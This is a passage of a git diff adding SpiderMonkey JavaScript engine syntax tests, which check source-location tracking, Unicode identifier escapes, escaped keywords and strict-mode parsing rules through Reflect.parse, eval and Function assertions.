+ assertEq(lengthInCodePoints(mixedChunksCode), 256);
+
+ // Add a third chunk with one last empty nested array literal (so that we
+ // tack on another chunk, and conclude the second chunk is single-unit, before
+ // closing the enclosing array literal). Then close the enclosing array
+ // literal. Finally start a new string literal element containing
+ // multi-unit code points. For good measure, make the chunk *end* in the
+ // middle of such a code point, so that the relevant chunk limit must be
+ // retracted one code unit.
+ mixedChunksCode += "[] ], '" + "😱".repeat(61); // column 256, offset 256
+ assertEq(mixedChunksCode.length, 384 + 1);
+ assertEq(lengthInCodePoints(mixedChunksCode), 324);
+
+ // Wrap things up. Terminate the string, then terminate the nested array
+ // literal to trigger a column computation within the first chunk that can
+ // benefit from knowing the first chunk is all single-unit. Next add a *new*
+ // element to the outermost array, a string literal that contains a line
+ // terminator. The terminator invalidates the column computation cache, so
+ // when the outermost array is closed, location info for it will not hit the
+ // cache. Finally, tack on the terminating semicolon for good measure.
+ mixedChunksCode += "' ], '\u2028' ];"; // column 324, offset 385
+ assertEq(mixedChunksCode.length, 396);
+ assertEq(lengthInCodePoints(mixedChunksCode), 335);
+
+ let parseTree = Reflect.parse(mixedChunksCode, { loc: true });
+
+ // Check the overall script.
+ assertEq(parseTree.type, "Program");
+ checkLoc(parseTree, [1, 0], [2, 4]);
+ assertEq(parseTree.body.length, 1);
+
+ // Check the coordinates of the declaration.
+ let varDecl = parseTree.body[0];
+ assertEq(varDecl.type, "VariableDeclaration");
+ checkLoc(varDecl, [1, 0], [2, 3]);
+
+ // ...and its initializing expression.
+ let varInit = varDecl.declarations[0].init;
+ assertEq(varInit.type, "ArrayExpression");
+ checkLoc(varInit, [1, 8], [2, 3]);
+
+ let outerArrayElements = varInit.elements;
+ assertEq(outerArrayElements.length, 2);
+
+ {
+ // Next the first element, the array inside the initializing expression.
+ let nestedArray = varInit.elements[0];
+ assertEq(nestedArray.type, "ArrayExpression");
+ checkLoc(nestedArray, [1, 10], [1, 327]);
+
+ // Now inside that nested array.
+ let nestedArrayElements = nestedArray.elements;
+ assertEq(nestedArrayElements.length, 3);
+
+ // First the [] in chunk #0
+ let emptyArray = nestedArrayElements[0];
+ assertEq(emptyArray.type, "ArrayExpression");
+ assertEq(emptyArray.elements.length, 0);
+ checkLoc(emptyArray, [1, 12], [1, 14]);
+
+ // Then the big array of empty arrays starting in chunk #1 and ending just
+ // barely in chunk #2.
+ let bigArrayOfEmpties = nestedArrayElements[1];
+ assertEq(bigArrayOfEmpties.type, "ArrayExpression");
+ assertEq(bigArrayOfEmpties.elements.length, 42 + 1);
+ bigArrayOfEmpties.elements.forEach((elem, i) => {
+ assertEq(elem.type, "ArrayExpression");
+ assertEq(elem.elements.length, 0);
+ if (i !== 42)
+ checkLoc(elem, [1, 129 + i * 3], [1, 131 + i * 3]);
+ else
+ checkLoc(elem, [1, 256], [1, 258]); // last element was hand-placed
+ });
+
+ // Then the string literal of multi-unit code points beginning in chunk #2
+ // and ending just into chunk #3 on a second line.
+ let multiUnitStringLiteral = nestedArrayElements[2];
+ assertEq(multiUnitStringLiteral.type, "Literal");
+ assertEq(multiUnitStringLiteral.value, "😱".repeat(61));
+ checkLoc(multiUnitStringLiteral, [1, 262], [1, 325]);
+ }
+
+ {
+ // Finally, the string literal containing a line terminator as element in
+ // the outermost array.
+ let stringLiteralWithEmbeddedTerminator = outerArrayElements[1];
+ assertEq(stringLiteralWithEmbeddedTerminator.type, "Literal");
+ assertEq(stringLiteralWithEmbeddedTerminator.value, "\u2028");
+ checkLoc(stringLiteralWithEmbeddedTerminator, [1, 329], [2, 1]);
+ }
+}
+testGuaranteedSingleUnit();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Testing completed");
diff --git a/js/src/tests/non262/syntax/declaration-forbidden-in-label.js b/js/src/tests/non262/syntax/declaration-forbidden-in-label.js
new file mode 100644
index 0000000000..53acb39961
--- /dev/null
+++ b/js/src/tests/non262/syntax/declaration-forbidden-in-label.js
@@ -0,0 +1,34 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1288459;
+var summary =
+ "Properly implement the spec's distinctions between StatementListItem and " +
+ "Statement grammar productions and their uses";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertThrowsInstanceOf(() => Function("a: let x;"), SyntaxError);
+assertThrowsInstanceOf(() => Function("b: const y = 3;"), SyntaxError);
+assertThrowsInstanceOf(() => Function("c: class z {};"), SyntaxError);
+
+assertThrowsInstanceOf(() => Function("'use strict'; d: function w() {};"), SyntaxError);
+
+// Annex B.3.2 allows this in non-strict mode code.
+Function("e: function x() {};");
+
+assertThrowsInstanceOf(() => Function("f: function* y() {}"), SyntaxError);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/syntax/escaped-let-static-identifier.js b/js/src/tests/non262/syntax/escaped-let-static-identifier.js
new file mode 100644
index 0000000000..a4353a516f
--- /dev/null
+++ b/js/src/tests/non262/syntax/escaped-let-static-identifier.js
@@ -0,0 +1,57 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1288460;
+var summary =
+ "|let| and |static| are forbidden as Identifier only in strict mode code, " +
+ "and it's permissible to use them as Identifier (with or without " +
+ "containing escapes) in non-strict code";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function t(code)
+{
+ var strictSemi = " 'use strict'; " + code;
+ var strictASI = " 'use strict' \n " + code;
+
+ var creationFunctions = [Function];
+ if (typeof evaluate === "function")
+ creationFunctions.push(evaluate);
+ if (typeof parseModule === "function")
+ creationFunctions.push(parseModule);
+
+ for (var func of creationFunctions)
+ {
+ if (typeof parseModule === "function" && func === parseModule)
+ assertThrowsInstanceOf(() => func(code), SyntaxError);
+ else
+ func(code);
+
+ assertThrowsInstanceOf(() => func(strictSemi), SyntaxError);
+ assertThrowsInstanceOf(() => func(strictASI), SyntaxError);
+ }
+}
+
+t("l\\u0065t: 42;");
+t("if (1) l\\u0065t: 42;");
+t("l\\u0065t = 42;");
+t("if (1) l\\u0065t = 42;");
+
+t("st\\u0061tic: 42;");
+t("if (1) st\\u0061tic: 42;");
+t("st\\u0061tic = 42;");
+t("if (1) st\\u0061tic = 42;");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/syntax/escaped-strict-reserved-words-and-yield.js b/js/src/tests/non262/syntax/escaped-strict-reserved-words-and-yield.js
new file mode 100644
index 0000000000..9d683bd975
--- /dev/null
+++ b/js/src/tests/non262/syntax/escaped-strict-reserved-words-and-yield.js
@@ -0,0 +1,105 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+const testCases = [
+ // Label identifier.
+ id => `${id}: ;`,
+
+ // Binding identifier.
+ id => `var ${id};`,
+ id => `let ${id};`,
+ id => `const ${id} = 0;`,
+
+ // Binding identifier in binding pattern.
+ id => `var [${id}] = [];`,
+ id => `var [${id} = 0] = [];`,
+ id => `var [...${id}] = [];`,
+ id => `var {a: ${id}} = {};`,
+ id => `var {${id}} = {};`,
+ id => `var {${id} = 0} = {};`,
+
+ id => `let [${id}] = [];`,
+ id => `let [${id} = 0] = [];`,
+ id => `let [...${id}] = [];`,
+ id => `let {a: ${id}} = {};`,
+ id => `let {${id}} = {};`,
+ id => `let {${id} = 0} = {};`,
+
+ id => `const [${id}] = [];`,
+ id => `const [${id} = 0] = [];`,
+ id => `const [...${id}] = [];`,
+ id => `const {a: ${id}} = {};`,
+ id => `const {${id}} = {};`,
+ id => `const {${id} = 0} = {};`,
+
+ // Identifier reference.
+ id => `void ${id};`,
+];
+
+const strictReservedWords = [
+ "implements",
+ "interface",
+ "package",
+ "private",
+ "protected",
+ "public",
+];
+
+function escapeWord(s) {
+ return "\\u00" + s.charCodeAt(0).toString(16) + s.substring(1);
+}
+
+for (let strictReservedWordOrYield of [...strictReservedWords, "yield"]) {
+ let escapedStrictReservedWordOrYield = escapeWord(strictReservedWordOrYield);
+
+ for (let testCase of testCases) {
+ eval(testCase(strictReservedWordOrYield));
+ eval(testCase(escapedStrictReservedWordOrYield));
+
+ assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ ${testCase(strictReservedWordOrYield)}
+ `), SyntaxError);
+
+ assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ ${testCase(escapedStrictReservedWordOrYield)}
+ `), SyntaxError);
+ }
+}
+
+// |yield| is always a keyword in generator functions.
+for (let testCase of testCases) {
+ let yield = "yield";
+ let escapedYield = escapeWord("yield");
+
+ assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ ${testCase(yield)}
+ }
+ `), SyntaxError);
+
+ assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ ${testCase(escapedYield)}
+ }
+ `), SyntaxError);
+
+ assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ ${testCase(yield)}
+ }
+ `), SyntaxError);
+
+ assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ ${testCase(escapedYield)}
+ }
+ `), SyntaxError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/syntax/identifier_vertical_tilde.js b/js/src/tests/non262/syntax/identifier_vertical_tilde.js
new file mode 100644
index 0000000000..94fb55f637
--- /dev/null
+++ b/js/src/tests/non262/syntax/identifier_vertical_tilde.js
@@ -0,0 +1,20 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// U+2E2F (VERTICAL TILDE) is in Gc=Lm, but also in [:Pattern_Syntax:].
+// http://www.unicode.org/reports/tr31/
+const verticalTilde = 0x2E2F;
+
+// Leading character in identifier.
+assertThrowsInstanceOf(() => eval(`${String.fromCodePoint(verticalTilde)}`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`\\u${verticalTilde.toString(16).padStart(4, "0")}`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`\\u{${verticalTilde.toString(16)}}`), SyntaxError);
+
+// Not leading character in identifier.
+assertThrowsInstanceOf(() => eval(`A${String.fromCodePoint(verticalTilde)}`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`A\\u${verticalTilde.toString(16).padStart(4, "0")}`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`A\\u{${verticalTilde.toString(16)}}`), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/syntax/identifiers-with-extended-unicode-escape.js b/js/src/tests/non262/syntax/identifiers-with-extended-unicode-escape.js
new file mode 100644
index 0000000000..e4b5f46029
--- /dev/null
+++ b/js/src/tests/non262/syntax/identifiers-with-extended-unicode-escape.js
@@ -0,0 +1,208 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Simple cases, not using eval.
+{
+ let \u{61} = 123;
+ assertEq(a, 123);
+
+ let \u{6A} = 123;
+ assertEq(j, 123);
+
+ let a\u{62} = 456;
+ assertEq(ab, 456);
+
+ let \u{63}\u{6b} = 789;
+ assertEq(ck, 789);
+}
+
+const leadingZeros = [0, 1, 2, 3, 4, 100].map(c => "0".repeat(c));
+
+
+// From DerivedCoreProperties.txt (Unicode 9):
+// Derived Property: ID_Start
+// Characters that can start an identifier.
+// Generated from:
+// Lu + Ll + Lt + Lm + Lo + Nl
+// + Other_ID_Start
+// - Pattern_Syntax
+// - Pattern_White_Space
+const idStart = [
+ 0x0041, // LATIN CAPITAL LETTER A, Gc=Lu
+ 0x006A, // LATIN SMALL LETTER J, Gc=Ll
+ 0x00C9, // LATIN CAPITAL LETTER E WITH ACUTE, Gc=Lu
+ 0x00FF, // LATIN SMALL LETTER Y WITH DIAERESIS, Gc=Ll
+ 0x01C5, // LATIN CAPITAL LETTER D WITH SMALL LETTER Z WITH CARON, Gc=Lt
+ 0x0294, // LATIN LETTER GLOTTAL STOP, Gc=Lo
+ 0x037A, // GREEK YPOGEGRAMMENI, Gc=Lm
+ 0x16EE, // RUNIC ARLAUG SYMBOL, Gc=Nl
+ 0xFF70, // HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK, Gc=Lm
+];
+
+const idStartSupplemental = [
+ 0x10140, // GREEK ACROPHONIC ATTIC ONE QUARTER, Gc=Nl
+ 0x10300, // OLD ITALIC LETTER A, Gc=Lo
+ 0x10400, // DESERET CAPITAL LETTER LONG I, Gc=Lu
+ 0x10430, // DESERET SMALL LETTER SHORT A, Gc=Ll
+ 0x16B40, // PAHAWH HMONG SIGN VOS SEEV, Gc=Lm
+];
+
+// From PropList.txt (Unicode 9):
+const otherIdStart = [
+ 0x1885, // MONGOLIAN LETTER ALI GALI BALUDA, Gc=Mn
+ 0x1886, // MONGOLIAN LETTER ALI GALI THREE BALUDA, Gc=Mn
+ 0x2118, // SCRIPT CAPITAL P, Gc=Sm
+ 0x212E, // ESTIMATED SYMBOL, Gc=So
+ 0x309B, // KATAKANA-HIRAGANA VOICED SOUND MARK, Gc=Sk
+ 0x309C, // KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, Gc=Sk
+];
+
+// From DerivedCoreProperties.txt (Unicode 9):
+// Derived Property: ID_Continue
+// Characters that can continue an identifier.
+// Generated from:
+// ID_Start
+// + Mn + Mc + Nd + Pc
+// + Other_ID_Continue
+// - Pattern_Syntax
+// - Pattern_White_Space
+const idContinue = [
+ 0x0030, // DIGIT ZERO, Gc=Nd
+ 0x0300, // COMBINING GRAVE ACCENT, Gc=Mn
+ 0x0660, // ARABIC-INDIC DIGIT ZERO, Gc=Nd
+ 0x0903, // DEVANAGARI SIGN VISARGA, Gc=Mc
+ 0xFF10, // FULLWIDTH DIGIT ZERO, Gc=Nd
+ 0xFF3F, // FULLWIDTH LOW LINE, Gc=Pc
+];
+
+const idContinueSupplemental = [
+ 0x101FD, // PHAISTOS DISC SIGN COMBINING OBLIQUE STROKE, Gc=Mn
+ 0x104A0, // OSMANYA DIGIT ZERO, Gc=Nd
+ 0x11000, // BRAHMI SIGN CANDRABINDU, Gc=Mc
+];
+
+// From PropList.txt (Unicode 9):
+const otherIdContinue = [
+ 0x00B7, // MIDDLE DOT, Gc=Po
+ 0x0387, // GREEK ANO TELEIA, Gc=Po
+ 0x1369, // ETHIOPIC DIGIT ONE, Gc=No
+ 0x136A, // ETHIOPIC DIGIT TWO, Gc=No
+ 0x136B, // ETHIOPIC DIGIT THREE, Gc=No
+ 0x136C, // ETHIOPIC DIGIT FOUR, Gc=No
+ 0x136D, // ETHIOPIC DIGIT FIVE, Gc=No
+ 0x136E, // ETHIOPIC DIGIT SIX, Gc=No
+ 0x136F, // ETHIOPIC DIGIT SEVEN, Gc=No
+ 0x1370, // ETHIOPIC DIGIT EIGHT, Gc=No
+ 0x1371, // ETHIOPIC DIGIT NINE, Gc=No
+ 0x19DA, // NEW TAI LUE THAM DIGIT ONE, Gc=No
+];
+
+for (let ident of [...idStart, ...otherIdStart, ...idStartSupplemental]) {
+ for (let count of leadingZeros) {
+ let zeros = "0".repeat(count);
+ eval(`
+ let \\u{${zeros}${ident.toString(16)}} = 123;
+ assertEq(${String.fromCodePoint(ident)}, 123);
+ `);
+ }
+}
+
+for (let ident of [...idContinue, ...idContinueSupplemental, ...otherIdContinue]) {
+ for (let zeros of leadingZeros) {
+ assertThrowsInstanceOf(() => eval(`\\u{${zeros}${ident.toString(16)}}`), SyntaxError);
+ }
+}
+
+for (let ident of [...idStart, ...otherIdStart, ...idContinue, ...otherIdContinue, ...idStartSupplemental, ...idContinueSupplemental]) {
+ for (let zeros of leadingZeros) {
+ eval(`
+ let A\\u{${zeros}${ident.toString(16)}} = 123;
+ assertEq(${String.fromCodePoint(0x41, ident)}, 123);
+ `);
+ }
+}
+
+
+const notIdentifiers = [
+ 0x0000, // NULL, Gc=Cc
+ 0x000A, // LINE FEED (LF), Gc=Cc
+ 0x005E, // CIRCUMFLEX ACCENT, Gc=Sk
+ 0x00B1, // PLUS-MINUS SIGN, Gc=Sm
+ 0xFF61, // HALFWIDTH IDEOGRAPHIC FULL STOP, Gc=Po
+ 0x10061, // Not assigned.
+ 0x10100, // AEGEAN WORD SEPARATOR LINE, Gc=Po
+ 0x100061, // <Plane 16 Private Use>, Gc=Co
+];
+
+for (let ident of notIdentifiers) {
+ for (let zeros of leadingZeros) {
+ assertThrowsInstanceOf(() => eval(`\\u{${zeros}${ident.toString(16)}}`), SyntaxError);
+ }
+}
+
+
+const incompleteEscapes = [
+ "\\u{",
+ "\\u{6",
+ "\\u{61",
+ "\\u{061",
+ "\\u{0061",
+ "\\u{00061",
+ "\\u{000061",
+ "\\u{0000061",
+
+ "\\u}",
+];
+for (let invalid of incompleteEscapes) {
+ // Ends with EOF.
+ assertThrowsInstanceOf(() => eval(invalid), SyntaxError);
+
+ // Ends with EOL.
+ assertThrowsInstanceOf(() => eval(invalid + "\n"), SyntaxError);
+
+ // Ends with space.
+ assertThrowsInstanceOf(() => eval(invalid + " "), SyntaxError);
+}
+
+
+const invalidEscapes = [
+ // Empty escape.
+ "",
+
+ // Not hexadecimal characters.
+ "\0",
+ "G",
+ "Z",
+ "\uFFFF",
+ "\uDBFF\uDFFF",
+
+ // Has space characters.
+ " 61",
+ "61 ",
+
+ // Has newline characters.
+ "\n61",
+ "61\n",
+
+ // Exceeds 0x10FFFF, six characters.
+ "110000",
+ "110001",
+ "fffffe",
+ "ffffff",
+
+ // Exceeds 0x10FFFF, more than six characters.
+ "10ffff0",
+ "10ffffabcdef",
+];
+
+for (let invalid of invalidEscapes) {
+ for (let zeros of leadingZeros) {
+ assertThrowsInstanceOf(() => eval(`\\u{${zeros}${invalid}}`), SyntaxError);
+ assertThrowsInstanceOf(() => eval(`var \\u{${zeros}${invalid}}`), SyntaxError);
+ }
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/syntax/keyword-unescaped-requirement.js b/js/src/tests/non262/syntax/keyword-unescaped-requirement.js
new file mode 100644
index 0000000000..eb6edd57db
--- /dev/null
+++ b/js/src/tests/non262/syntax/keyword-unescaped-requirement.js
@@ -0,0 +1,68 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1204027;
+var summary =
+ "Escape sequences aren't allowed in bolded grammar tokens (that is, in " +
+ "keywords, possibly contextual keywords)";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function memberVariants(code)
+{
+ return ["(class { constructor() {} " + code + " });",
+ "({ " + code + " })"];
+}
+
+var badScripts =
+ [
+ "class { st\\u0061tic m() { return 0; } }",
+ "class { st\\u0061tic get foo() { return 0; } }",
+ "class { st\\u0061tic set foo(v) {} }",
+ "class { st\\u0061tic get ['hi']() { return 0; } }",
+ "class { st\\u0061tic set ['hi'](v) {} }",
+ "class { st\\u0061tic get 'hi'() { return 0; } }",
+ "class { st\\u0061tic set 'hi'(v) {} }",
+ "class { st\\u0061tic get 42() { return 0; } }",
+ "class { st\\u0061tic set 42(v) {} }",
+ ...memberVariants("\\u0067et foo() { return 0; }"),
+ ...memberVariants("\\u0073et foo() {}"),
+ ...memberVariants("g\\u0065t foo() { return 0; }"),
+ ...memberVariants("s\\u0065t foo() {}"),
+ ...memberVariants("g\\u0065t ['hi']() { return 0; }"),
+ ...memberVariants("s\\u0065t ['hi']() {}"),
+ ...memberVariants("g\\u0065t 'hi'() { return 0; }"),
+ ...memberVariants("s\\u0065t 'hi'() {}"),
+ ...memberVariants("g\\u0065t 42() { return 0; }"),
+ ...memberVariants("s\\u0065t 42() {}"),
+ "for (var foo o\\u0066 [1]) ;",
+ "for (var foo \\u006ff [1]) ;",
+ "for (var foo i\\u006e [1]) ;",
+ "for (var foo \\u0069n [1]) ;",
+ "function f() { return n\\u0065w.target }",
+ "function f() { return \\u006eew.target }",
+ "function f() { return new.t\\u0061rget }",
+ "function f() { return new.\\u0074arget }",
+ "function f() { return n\\u0065w Array }",
+ "function f() { return \\u006eew Array }",
+ "\\u0064o { } while (0)",
+ "[for (x \\u006ff [1]) x]",
+ "[for (x o\\u0066 [1]) x]",
+ ];
+
+for (var script of badScripts)
+ assertThrowsInstanceOf(() => Function(script), SyntaxError);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/syntax/let-as-label.js b/js/src/tests/non262/syntax/let-as-label.js
new file mode 100644
index 0000000000..a01ad556e1
--- /dev/null
+++ b/js/src/tests/non262/syntax/let-as-label.js
@@ -0,0 +1,35 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1288459;
+var summary = "let can't be used as a label in strict mode code";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+Function("let: 42");
+Function("l\\u0065t: 42");
+assertThrowsInstanceOf(() => Function(" 'use strict'; let: 42"), SyntaxError);
+assertThrowsInstanceOf(() => Function(" 'use strict' \n let: 42"), SyntaxError);
+assertThrowsInstanceOf(() => Function(" 'use strict'; l\\u0065t: 42"), SyntaxError);
+assertThrowsInstanceOf(() => Function(" 'use strict' \n l\\u0065t: 42"), SyntaxError);
+
+eval("let: 42");
+eval("l\\u0065t: 42");
+assertThrowsInstanceOf(() => eval(" 'use strict'; let: 42"), SyntaxError);
+assertThrowsInstanceOf(() => eval(" 'use strict' \n let: 42;"), SyntaxError);
+assertThrowsInstanceOf(() => eval(" 'use strict'; l\\u0065t: 42"), SyntaxError);
+assertThrowsInstanceOf(() => eval(" 'use strict' \n l\\u0065t: 42;"), SyntaxError);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/syntax/line-number-maintenance-for-identifier-containing-escape-terminated-by-unicode-separator.js b/js/src/tests/non262/syntax/line-number-maintenance-for-identifier-containing-escape-terminated-by-unicode-separator.js
new file mode 100644
index 0000000000..4293cbb0a2
--- /dev/null
+++ b/js/src/tests/non262/syntax/line-number-maintenance-for-identifier-containing-escape-terminated-by-unicode-separator.js
@@ -0,0 +1,41 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 9999999;
+var summary =
+ "Properly maintain the line number when tokenizing identifiers that " +
+ "contain Unicode escapes *and* are terminated by U+2028 LINE SEPARATOR " +
+ "or U+2029 PARAGRAPH SEPARATOR";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var code = "var a\u0062c = [];\n"; // line 1
+
+for (var i = 0; i < 100; i++)
+ code += "a\\u0062c\u2028a\\u0062c\u2029"; // lines 2..2+200-1
+
+code += "@"; // line 2+200
+
+try
+{
+ eval(code);
+ throw new Error("didn't throw");
+}
+catch (e)
+{
+ assertEq(e.lineNumber, 2 + 200);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/syntax/linefeed-at-eof-in-unterminated-string-or-template.js b/js/src/tests/non262/syntax/linefeed-at-eof-in-unterminated-string-or-template.js
new file mode 100644
index 0000000000..461f61ebd3
--- /dev/null
+++ b/js/src/tests/non262/syntax/linefeed-at-eof-in-unterminated-string-or-template.js
@@ -0,0 +1,88 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1476409;
+var summary =
+ "Properly handle the case of U+005C REVERSE SOLIDUS U+000D CARRIAGE RETURN " +
+ "at the end of source text being tokenized, in the middle of a string or " +
+ "template literal, where the next code point in memory (outside the bounds " +
+ "of the source text) is U+000A LINE FEED";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function expectSyntaxError(code)
+{
+ try
+ {
+ eval(code);
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "got " + e.name + ", expected SyntaxError");
+ }
+}
+
+// The fundamental requirements of this test:
+//
+// 1. The computed string that is eval'd must be a Script that ends in a string
+// literal ending with the code points U+005C REVERSE SOLIDUS U+000D CARRIAGE
+// RETURN.
+// 2. The *memory* that is actually tokenized/parsed by eval must be
+// immediately followed by U+000A LINE FEED.
+//
+// There's only one way to guarantee a U+000A LINE FEED after the source text:
+// compute the source text as a dependent string, of a larger (linear) string.
+// A simple substr will do the trick -- just as long as the substring can't fit
+// in inline storage. 53 in the tests below comfortably exceeds all inline
+// storage limits.
+//
+// One final wrinkle: because we only tokenize/parse two-byte source text right
+// now, ensuring we directly tokenize/parse the dependent string's character
+// data means the dependent string must have two-byte character data, hence the
+// '\u1234' in the strings below.
+
+function singleQuote()
+{
+ var containsBadSingleQuoteLiteral =
+ "\u1234x'01234567890123456789012345678901234567890123456789\\\r\n0123456789";
+ // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+ expectSyntaxError(containsBadSingleQuoteLiteral.substr(2, 53));
+}
+singleQuote();
+
+function doubleQuote()
+{
+ var containsBadDoubleQuoteLiteral =
+ "\u1234x\"01234567890123456789012345678901234567890123456789\\\r\n0123456789";
+ // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+ expectSyntaxError(containsBadDoubleQuoteLiteral.substr(2, 53));
+}
+doubleQuote();
+
+function template()
+{
+ var containsBadTemplateLiteral =
+ "\u1234x`01234567890123456789012345678901234567890123456789\\\r\n0123456789";
+ // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+ expectSyntaxError(containsBadTemplateLiteral.substr(2, 53));
+}
+template();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/syntax/non-simple-with-strict-directive.js b/js/src/tests/non262/syntax/non-simple-with-strict-directive.js
new file mode 100644
index 0000000000..a0e5366879
--- /dev/null
+++ b/js/src/tests/non262/syntax/non-simple-with-strict-directive.js
@@ -0,0 +1,140 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+const testCases = [
+ // Array destructuring.
+ "[]",
+ "[a]",
+ "x, [a]",
+ "[a], x",
+
+ // Array destructuring with defaults.
+ "[a = 0]",
+ "x, [a = 0]",
+ "[a = 0], x",
+
+ // Array destructuring with rest binding identifier.
+ "[...a]",
+ "x, [...a]",
+ "[...a], x",
+
+ // Array destructuring with rest binding pattern.
+ "[...[a]]",
+ "x, [...[a]]",
+ "[...[a]], x",
+
+ // Object destructuring.
+ "{}",
+ "{p: o}",
+ "x, {p: o}",
+ "{p: o}, x",
+
+ // Object destructuring with defaults.
+ "{p: o = 0}",
+ "x, {p: o = 0}",
+ "{p: o = 0}, x",
+
+ // Object destructuring with shorthand identifier form.
+ "{o}",
+ "x, {o}",
+ "{o}, x",
+
+ // Object destructuring with CoverInitName.
+ "{o = 0}",
+ "x, {o = 0}",
+ "{o = 0}, x",
+
+ // Default parameter.
+ "d = 0",
+ "x, d = 0",
+ "d = 0, x",
+
+ // Rest parameter.
+ "...rest",
+ "x, ...rest",
+
+ // Rest parameter with array destructuring.
+ "...[]",
+ "...[a]",
+ "x, ...[]",
+ "x, ...[a]",
+
+ // Rest parameter with object destructuring.
+ "...{}",
+ "...{p: o}",
+ "x, ...{}",
+ "x, ...{p: o}",
+
+ // All non-simple cases combined.
+ "x, d = 123, [a], {p: 0}, ...rest",
+];
+
+const GeneratorFunction = function*(){}.constructor;
+
+const functionDefinitions = [
+ // FunctionDeclaration
+ parameters => `function f(${parameters}) { "use strict"; }`,
+
+ // FunctionExpression
+ parameters => `void function(${parameters}) { "use strict"; };`,
+ parameters => `void function f(${parameters}) { "use strict"; };`,
+
+ // Function constructor
+ parameters => `Function('${parameters}', '"use strict";')`,
+
+ // GeneratorDeclaration
+ parameters => `function* g(${parameters}) { "use strict"; }`,
+
+ // GeneratorExpression
+ parameters => `void function*(${parameters}) { "use strict"; };`,
+ parameters => `void function* g(${parameters}) { "use strict"; };`,
+
+ // GeneratorFunction constructor
+ parameters => `GeneratorFunction('${parameters}', '"use strict";')`,
+
+ // MethodDefinition
+ parameters => `({ m(${parameters}) { "use strict"; } });`,
+ parameters => `(class { m(${parameters}) { "use strict"; } });`,
+ parameters => `class C { m(${parameters}) { "use strict"; } }`,
+
+ // MethodDefinition (constructors)
+ parameters => `(class { constructor(${parameters}) { "use strict"; } });`,
